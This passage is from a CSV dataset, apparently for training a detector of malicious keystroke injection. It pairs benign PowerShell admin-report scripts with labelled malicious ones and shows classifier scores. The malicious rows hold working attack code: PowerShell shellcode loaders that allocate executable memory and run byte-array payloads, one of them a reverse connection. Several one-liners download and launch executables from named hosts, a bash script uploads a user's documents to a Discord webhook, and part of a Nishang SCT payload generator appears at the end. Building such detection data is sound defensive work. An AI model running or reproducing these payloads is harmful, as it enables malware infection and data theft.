8,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$4c8H=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($4c8H.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$4c8H,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2342137e-05,0.99994767
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_ep1jh4l8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_disabled_tasks.csv"") -NoTypeInformation enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status, ServiceType | enter Export-Csv -Path (Join-Path $ReportDir ""service_stopped.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4126693e-05
"win+r enter powershell enter enter enter ($dpl=$env:temp+'f.exe');(New-Object System.Net.WebClient).DownloadFile('http://www.macwizinfo.com/zap/manage/may2.exe', $dpl);Start-Process $dpl enter enter",1,1,5.8924266e-05,0.9999411
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_l9px0l4k"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_enabled_tasks.csv"") -NoTypeInformation enter Get-ComputerInfo | enter Select-Object CsName, BiosFirmwareType, BiosSeralNumber, OsArchitecture, OsLocale | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.txt"") -Encoding UTF8 enter",0,0,0.9999658,3.4166842e-05
"win+r powershell enter  Set-PSFConfig -Module PSFramework -Name 'System.Unattended' -Value $false -Ini enter tialize -Validation ""bool"" -Handler { [PSFramework.PSFCore.PSFCoreHost]::Unatten enter ded = $args[0] } -Description ""Central setting, showing whether the current exec enter ution is unattended or not. This allows scripts/modules to react to whether ther enter e is a user at the controls or not."" Set-PSFConfig -Module PSFramework -Name 'S enter upportPackage.ContactMessage' -Value ' ' -Initialize -Validation 'string' -Descr enter iption 'Message shown when using New-PSFSUpportPackage. This allows an organizat enter ion to tie information on how to submit a support package into the command that enter generates it' Set-PSFConfig -Module PSFramework -Name 'Text.Encoding.FullTabCom enter pletion' -Value $false -Initialize -Validation 'bool' -Description 'Whether all enter encodings should be part of the tab completion for encodings. By default, only a enter manageable subset i enter",1,1,0.011664477,0.9883355
"win+r enter powershell enter enter enter  enter enter $data = $null enter enter foreach ($file in (ls *svcall.xml)) { enter $data += Import-Clixml $file enter } enter enter $data | Select-Object Caption, StartName | Sort-Object Caption, StartName | Group-Object Caption, StartName | Sort-Object Name enter enter",0,0,0.9999218,7.8188765e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_67am9yb8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.json"") -Encoding UTF8 enter Write-Host ""Starting process_checks section 2."" enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 30 Name, Id, CPU, WorkingSet64, Handles | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_process_overview_30.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4777164e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_x2x5uw2r"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_adapter.txt"") -Encoding UTF8 enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_ready_tasks.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.4646706e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_x2tf8ybk"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process -Name ""explorer"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 40 Name, Id, CPU, WorkingSet64, Handles | enter Export-Csv -Path (Join-Path $ReportDir ""process_named_processes_40.csv"") -NoTypeInformation enter",0,0,0.99996614,3.3867942e-05
"win+r enter powershell enter enter enter function Get-SPORole enter { enter [CmdletBinding()] enter param enter ( enter [Parameter(Mandatory=$true, Position=1)] enter [Microsoft.SharePoint.Client.RoleType]$rType enter ) enter enter $web = $clientContext.Web enter if ($web -ne $null) enter { enter $roleDefs = $web.RoleDefinitions enter $clientContext.Load($roleDefs) enter $clientContext.ExecuteQuery() enter $roleDef = $roleDefs | where {$_.RoleTypeKind -eq $rType} enter return $roleDef enter } enter return $null enter } enter enter",0,0,0.9998691,0.00013091639
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_uknet8uo"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Export-Csv -Path (Join-Path $ReportDir ""software_installed_programs.csv"") -NoTypeInformation enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName System -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_75.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4074663e-05
"win+r enter powershell enter enter enter $code = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$winFunc = Add-Type -memberDefinition $code -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x64,0x87,0x68,0x02,0x00,0x04,0x57,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 }; enter enter",1,1,5.1333813e-05,0.9999486
"win+r enter powershell enter enter enter function Import-PSFClixml enter { enter enter [CmdletBinding(HelpUri = 'https://psframework.org/documentation/commands/PSFramework/Import-PSFClixml')] enter Param ( enter [Parameter(Mandatory = $true, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true)] enter [Alias('FullName')] enter [string[]] enter $Path, enter enter [PSFEncoding] enter $Encoding = (Get-PSFConfigValue -FullName 'psframework.text.encoding.defaultread' -Fallback 'utf-8') enter ) enter enter begin enter { enter Write-PSFMessage -Level InternalComment -Message ""Bound parameters: $($PSBoundParameters.Keys -join "", "")"" -Tag 'debug', 'start', 'param' enter } enter process enter { enter try { $resolvedPath = Resolve-PSFPath -Path $Path -Provider FileSystem } enter catch { Stop-PSFFunction -Message ""Failed to resolve path."" -ErrorRecord $_ -EnableException $true -Cmdlet $PSCmdlet -Target $Path } enter enter foreach ($pathItem in $resolvedPath) enter { enter if ((Get-Item $pathItem).PSIsContainer) enter { enter Stop-PSFFunction -Message ""$pathItem is not a file"" -EnableException $true -Target $pathItem enter } enter Write-PSFMessage -Level Verbose -Message ""Processing $($pathItem)"" -Target $pathItem enter enter [byte[]]$bytes = [System.IO.File]::ReadAllBytes($pathItem) enter enter try { [PSFramework.Serialization.ClixmlSerializer]::FromByteCompressed($bytes) } enter catch enter { enter [string]$string = [System.IO.File]::ReadAllText($pathItem, $Encoding) enter try { [PSFramework.Serialization.ClixmlSerializer]::FromString($string) } enter catch enter { enter try { [PSFramework.Serialization.ClixmlSerializer]::FromStringCompressed($string) } enter catch enter { enter try { [PSFramework.Serialization.ClixmlSerializer]::FromByte($bytes) } enter catch enter { enter Stop-PSFFunction -Message ""Failed to convert input object"" -EnableException $true -Target $pathItem -Cmdlet $PSCmdlet enter } enter } enter } enter enter } enter } enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x06,0x68,0x02,0x00,0x01,0xbc,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.158536e-05,0.9999484
"win+r enter powershell enter enter enter  enter enter $Error.Clear() enter $erroractionpreference = ""SilentlyContinue"" enter enter $a = New-Object -comobject Excel.Application enter $a.visible = $True enter $b = $a.Workbooks.Add() enter $c = $b.Worksheets.Item(1) enter $c.Cells.Item(1,1) = ""Machine Name"" enter $c.Cells.Item(1,2) = ""SNMP Updated"" enter $d = $c.UsedRange enter $d.Interior.ColorIndex = 19 enter $d.Font.ColorIndex = 11 enter $d.Font.Bold = $True enter $intRow = 2 enter enter foreach ($strComputer in get-content C:\MachineList.Txt) { enter $c.Cells.Item($intRow,1) = $strComputer.ToUpper() enter enter $ping = new-object System.Net.NetworkInformation.Ping enter $Reply = $ping.send($strComputer) enter if($Reply.status -eq ""success"") { enter enter $reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine', $strComputer) enter enter $regKey= $reg.OpenSubKey(""SYSTEM\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities"",$true) enter enter $regKey.SetValue('ipm0nitoR','4','DWORD') enter enter $regKey.DeleteValue('public') enter If($Error.Count -eq 0) { enter $c.Cells.Item($intRow,2).Interior.ColorIndex = 4 enter $c.Cells.Item($intRow,2) = ""Yes"" enter enter } enter Else { enter $c.Cells.Item($intRow,2).Interior.ColorIndex = 3 enter $c.Cells.Item($intRow,2) = ""No"" enter enter $Error.Clear() enter } enter } enter Else { enter $c.Cells.Item($intRow,2).Interior.ColorIndex = 3 enter $c.Cells.Item($intRow,2) = ""Not Pingable"" enter enter } enter $Error.Clear() enter $Reply = """" enter $pwage = """" enter $intRow = $intRow + 1 enter } enter $d.EntireColumn.AutoFit() enter cls enter enter",0,0,0.9833097,0.016690353
"win+r powershell enter $TOyJ = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(Int enter Ptr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""k enter ernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes enter , uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFl enter ags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mem enter set(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $TOyJ - enter Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xd0 enter ,0xd9,0x74,0x24,0xf4,0x5a,0x31,0xc9,0xb1,0x47,0xbf,0x6a,0xb4,0x96,0x80,0x31,0x7a enter ,0x18,0x83,0xea,0xfc,0x03,0x7a,0x7e,0x56,0x63,0x7c,0x96,0x14,0x8c,0x7d,0x66,0x79 enter ,0x04,0x98,0x57,0xb9,0x72,0xe8,0xc7,0x09,0xf0,0xbc,0xeb,0xe2,0x54,0x55,0x78,0x86 enter ,0x70,0x5a,0xc9,0x2d,0xa7,0x55,0xca,0x1e,0x9b,0xf4,0x48,0x5d,0xc8,0xd6,0x71,0xae enter ,0x1d,0x16,0xb6,0xd3 enter enter",1,1,5.4387976e-05,0.99994564
"win+r enter powershell enter enter enter (New-Object System.Net.WebClient).DownloadFile('http://brokelimiteds.in/wp-admin/css/upload/Order.exe','mess.exe');Start-Process 'mess.exe' enter enter",1,1,5.8784008e-05,0.99994123
"win+r enter powershell enter enter enter $NlG = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $NlG -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xda,0xc4,0xd9,0x74,0x24,0xf4,0x5e,0x31,0xc9,0xbb,0x81,0x80,0xda,0x2b,0xb1,0x47,0x31,0x5e,0x18,0x83,0xee,0xfc,0x03,0x5e,0x95,0x62,0x2f,0xd7,0x7d,0xe0,0xd0,0x28,0x7d,0x85,0x59,0xcd,0x4c,0x85,0x3e,0x85,0xfe,0x35,0x34,0xcb,0xf2,0xbe,0x18,0xf8,0x81,0xb3,0xb4,0x0f,0x22,0x79,0xe3,0x3e,0xb3,0xd2,0xd7,0x21,0x37,0x29,0x04,0x82,0x06,0xe2,0x59,0xc3,0x4f,0x1f,0x93,0x91,0x18,0x6b,0x06,0x06,0x2d,0x21,0x9b,0xad,0x7d,0xa7,0x9b,0x52,0x35,0xc6,0x8a,0xc4,0x4e,0x91,0x0c,0xe6,0x83,0xa9,0x04,0xf0,0xc0,0x94,0xdf,0x8b,0x32,0x62,0xde,0x5d,0x0b,0x8b,0x4d,0xa0,0xa4,0x7e,0x8f,0xe4,0x02,0x61,0xfa,0x1c,0x71,0x1c,0xfd,0xda,0x08,0xfa,0x88,0xf8,0xaa,0x89,0x2b,0x25,0x4b,0x5d,0xad,0xae,0x47,0x2a,0xb9,0xe9,0x4b,0xad,0x6e,0x82,0x77,0x26,0x91,0x45,0xfe,0x7c,0xb6,0x41,0x5b,0x26,0xd7,0xd0,0x01,0x89,0xe8,0x03,0xea,0x76,0x4d,0x4f,0x06,0x62,0xfc,0x12,0x4e,0x47,0xcd,0xac,0x8e,0xcf,0x46,0xde,0xbc,0x50,0xfd,0x48,0x8c,0x19,0xdb,0x8f,0xf3,0x33,0x9b,0x00,0x0a,0xbc,0xdc,0x09,0xc8,0xe8,0x8c,0x21,0xf9,0x90,0x46,0xb2,0x06,0x45,0xf2,0xb7,0x90,0xd5,0x07,0xb4,0xef,0x72,0x0a,0xc4,0xed,0xae,0x83,0x22,0xa1,0xfe,0xc3,0xfa,0x01,0xaf,0xa3,0xaa,0xe9,0xa5,0x2b,0x94,0x09,0xc6,0xe1,0xbd,0xa3,0x29,0x5c,0x95,0x5b,0xd3,0xc5,0x6d,0xfa,0x1c,0xd0,0x0b,0x3c,0x96,0xd7,0xec,0xf2,0x5f,0x9d,0xfe,0x62,0x90,0xe8,0x5d,0x24,0xaf,0xc6,0xc8,0xc8,0x25,0xed,0x5a,0x9f,0xd1,0xef,0xbb,0xd7,0x7d,0x0f,0xee,0x6c,0xb7,0x85,0x51,0x1a,0xb8,0x49,0x52,0xda,0xee,0x03,0x52,0xb2,0x56,0x70,0x01,0xa7,0x98,0xad,0x35,0x74,0x0d,0x4e,0x6c,0x29,0x86,0x26,0x92,0x14,0xe0,0xe8,0x6d,0x73,0xf0,0xd5,0xbb,0xbd,0x86,0x37,0x78;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$jcEK=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($jcEK.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$jcEK,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.242526e-05,0.99994755
win+r powershell enter $originalText = $null $protectedText = $null $secret = [Guid]::NewGuid().ToStrin enter g() $rsaCipherText = $null $publicKeyPath = Join-Path -Path $PSScriptRoot -Child enter Path 'CarbonTestPublicKey.cer' -Resolve $privateKeyPath = Join-Path -Path $PSScr enter iptRoot -ChildPath 'CarbonTestPrivateKey.pfx' -Resolve $dsaKeyPath = Join-Path - enter Path $PSScriptRoot -ChildPath 'CarbonTestDsaKey.cer' -Resolve function Start-Te enter stFixture { & (Join-Path -Path $PSScriptRoot '..\Initialize-CarbonTest.ps1' -Re enter solve) enter enter,1,1,0.0022563138,0.9977437
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_x05ekfkt"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.txt"") -Encoding UTF8 enter Get-NetRoute | enter Select-Object -First 100 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_routes.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.370574e-05
"win+r enter powershell enter enter enter (New-Object System.Net.WebClient).DownloadFile('http://hnng.moe/f/InX',""$env:TEMP\microsoft.exe"");Start-Process (""$env:TEMP\microsoft.exe"") enter enter",1,1,5.7936588e-05,0.99994206
"win+r enter powershell enter enter enter Set-Variable -Name DefaultPrinter -Scope Global -Force enter enter cls enter If ((Test-Path $env:APPDATA""\DefaultPrinter.txt"") -eq $true) { enter Remove-Item -Path $env:APPDATA""\DefaultPrinter.txt"" -Force enter } enter $DefaultPrinter = Get-WmiObject -Class win32_printer -ComputerName ""localhost"" -Filter ""Default='true'"" | Select-Object ShareName enter Write-Host ""Default Printer: "" -NoNewline enter If ($DefaultPrinter.ShareName -ne $null) { enter $DefaultPrinter.ShareName | Out-File -FilePath $env:APPDATA""\DefaultPrinter.txt"" -Force -Encoding ""ASCII"" enter Write-Host $DefaultPrinter.ShareName enter } else { enter $DefaultPrinter = ""No Default Printer"" enter $DefaultPrinter | Out-File -FilePath $env:APPDATA""\DefaultPrinter.txt"" -Force -Encoding ""ASCII"" enter Write-Host $DefaultPrinter enter } enter Remove-Variable -Name DefaultPrinter -Scope Global -Force enter enter",0,0,0.9998971,0.000102837
"win+r powershell enter (New-Object System.Net.WebClient).DownloadFile('http://185.117.75.43/update.exe' enter ,""$env:TEMP\update1x86.exe"");Start-Process (""$env:TEMP\update1x86.exe"") enter enter",1,1,5.7502966e-05,0.99994254
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_662lk91i"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 50 Name, Id, Path, Company | enter Export-Csv -Path (Join-Path $ReportDir ""process_process_overview_50.csv"") -NoTypeInformation enter",0,0,0.99996555,3.4479464e-05
"win+r powershell enter function Get-CFileSharePermission { [CmdletBinding()] [OutputType([Carbon.Se enter curity.ShareAccessRule])] param( [Parameter(Mandatory=$true)] [string] $Na enter me, [string] enter enter",1,1,0.0030178975,0.99698204
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_gb7y8qtg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-AppxPackage | enter Select-Object -First 150 Name, Version, Publisher | enter Export-Csv -Path (Join-Path $ReportDir ""software_appx_packages.csv"") -NoTypeInformation enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 20 Name, Id, Path, Company | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_cpu_20.csv"") -NoTypeInformation enter",0,0,0.9999664,3.3593333e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""daily_check_ohmt0c6e"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-AppxPackage | enter Select-Object -First 150 Name, Version, Publisher | enter Export-Csv -Path (Join-Path $ReportDir ""software_appx_packages.csv"") -NoTypeInformation enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_inbound.csv"") -NoTypeInformation enter",0,0,0.99996674,3.324639e-05
"ctrl+alt+t enter bash enter enter enter win space terminal enter defaults write com.apple.Terminal PromptOnClose -bool false enter nohup /bin/bash -c ' enter cd ~/Desktop && enter mkdir -p .temp_collect && enter cd .temp_collect && enter find ~/ -type f \( -name ""*.pdf"" -o -name ""*.doc"" -o -name ""*.docx"" -o -name ""*.txt"" -o -name ""*.jpg"" -o -name ""*.png"" \) -size -8M -maxdepth 3 -exec curl -s -F ""file=@{}"" https://discord.com/api/webhooks/WEBHOOK_HERE \; && enter cd .. && enter rm -rf .temp_collect enter ' > /dev/null 2>&1 & enter osascript -e 'tell application ""Terminal"" to quit without saving' enter enter enter enter",1,1,0.0006259854,0.9993741
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_ctv1hgmd"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.json"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Export-Csv -Path (Join-Path $ReportDir ""disk_psdrive.csv"") -NoTypeInformation enter",0,0,0.99996495,3.5097415e-05
"win+r enter powershell enter enter enter function Out-SCT enter { enter <# enter .SYNOPSIS enter Nishang script useful for creating ""weaponized"" SCT files which could be used to run PowerShell commands and scripts. enter enter .DESCRIPTION enter The script generates a SCT file with an XML extension. The file (default name UpdateCheck.xml) needs to be enter hosted on a web server and using regsvr32 built-in executable it could be executed on a target with minimal traces. enter enter The extension of the generated file doesn't matter and any extension can be used. enter enter The script is based on the work by Casey Smith (@subTee) enter enter .PARAMETER Payload enter Payload which you want execute on the target. enter enter .PARAMETER PayloadURL enter URL of the PowerShell script which would be executed on the target. enter enter .PARAMETER Arguments enter Arguments to the PowerShell script to be executed on the target. enter enter .PARAMETER OutputPath enter Path to the directory where the files would be saved. Default is the current directory. enter enter .EXAMPLE enter PS > 